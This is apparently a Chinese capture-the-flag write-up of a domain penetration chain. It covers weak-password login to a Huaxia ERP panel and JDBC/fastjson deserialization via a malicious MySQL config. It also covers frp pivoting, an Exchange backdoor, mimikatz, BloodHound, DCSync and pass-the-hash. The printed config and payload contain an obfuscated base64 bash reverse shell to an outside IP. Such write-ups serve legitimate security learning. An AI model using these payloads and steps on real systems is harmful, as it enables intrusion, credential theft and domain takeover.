先上fscan扫一遍

img

8000端口是后台,admin/123456弱口令登录

img

右上角官方插件点出来是华夏erp,这里可以打jdbc反序列化

起一个恶意mysql,config.json配置如下,ysoserial-all.jar放在同一路径下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"config":{
"ysoserialPath":"ysoserial-all.jar",
"javaBinPath":"java",
"fileOutputDir":"./fileOutput/",
"displayFileContentOnScreen":true,
"saveToFile":true
},
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php",
"ssrf":"https://www.baidu.com/",
"__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
},
"yso":{
"Jdk7u21":["Jdk7u21","calc"],
"CommonsCollections6":["CommonCollections6","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDQuMjQ1LjM3LzIzMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"]
}
}
img

对exp进行url编码以后传过去即可getshell

1
{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "60.204.245.37", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDQuMjQ1LjM3LzIzMzMzIDA+JjE=}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }
img

拿到第一个flag

img

扫内网,还有三台主机

img

搭frp

img
img

有个outlook,访问一下

img

直接用exp打,写入后门

img

用它给出的方式写入管理员用户

img
img

rdp连接,拿到第二个flag

img

上传mimikatz抓取域内用户哈希

img

bloodhound收集信息

img
img

用户zhangtong具有WriteDacl权限,因此可以写DCSync

img

dump域内用户哈希

img

对域控打pth

img

还有一台机器,flag不在常规路径。注意到前面dump哈希时有个Lumia用户,发现其桌面有东西

img

下载下来

img

压缩包竟然需要密码。。。

创建管理员用户

img

rdp连上域控修改Lumia的密码

img

用修改的Lumia的密码登陆上其outlook账户,可以看到hint,密码是手机号

img

另外还给了个手机号列表

img

在域控中可以看到Lumia的真名叫卿建

img
img

解压得到flag

img